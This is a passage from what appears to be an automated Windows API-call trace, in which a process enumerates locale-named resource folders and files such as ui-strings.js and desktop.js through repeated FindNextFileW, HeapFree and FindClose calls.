ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0265.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.424] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0265.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.424] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0265.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.424] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0265.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.428] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1 [0265.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.428] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0265.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.428] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0265.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.429] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0265.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.429] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0265.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.429] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0265.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.429] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0265.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.430] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0265.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.430] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0265.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.430] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0265.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.431] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0265.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.431] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0265.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.431] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0265.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.431] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0265.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.431] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0265.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.431] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0265.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.432] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0265.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.432] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0265.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.432] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0265.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.432] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0265.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.432] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0265.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.432] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0265.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.432] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0265.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.433] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0265.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.433] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.433] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0265.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.433] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0265.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0265.433] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0265.433] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0265.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.434] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0265.434] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0265.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.434] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0265.461] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0265.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.461] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0265.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.461] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0265.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.462] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0265.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.462] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0265.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.462] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 